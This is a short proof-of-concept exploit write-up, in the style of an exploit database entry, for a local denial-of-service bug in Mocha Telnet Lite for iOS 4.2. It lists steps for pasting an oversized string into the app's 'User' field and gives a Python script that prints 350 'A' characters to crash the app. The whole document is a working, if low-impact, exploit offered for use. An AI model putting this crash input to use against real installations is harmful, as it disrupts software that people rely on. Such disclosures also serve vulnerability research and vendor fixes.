Mocha Telnet Lite For iOS 4.2 Denial Of Service

`# Exploit Title: Mocha Telnet Lite for iOS 4.2 - 'User' Denial of Service (PoC)  
# Discovery by: Luis Martinez  
# Discovery Date: 2020-08-03  
# Vendor Homepage: https://apps.apple.com/us/app/telnet-lite/id286893976  
# Software Link: App Store for iOS devices  
# Tested Version: 4.2  
# Vulnerability Type: Denial of Service (DoS) Local  
# Tested on OS: iPhone 7 iOS 13.5.1  
  
# Steps to Produce the Crash:  
# 1.- Run python code: Mocha_Telnet_Lite_for_iOS_4.2.py  
# 2.- Copy content to clipboard  
# 3.- Open "Mocha Telnet Lite for iOS"  
# 4.- Configure  
# 5.- Clic New ... Add a configuration  
# 6.- IP Address > "192.168.1.1"  
# 7.- Paste ClipBoard on "User"  
# 8.- Password > "l4m5"  
# 9.- Clic Back  
# 10.- Click Back  
# 11.- Connect  
# 12.- Crashed  
  
#!/usr/bin/env python  
  
buffer = "\x41" * 350  
print (buffer)  
`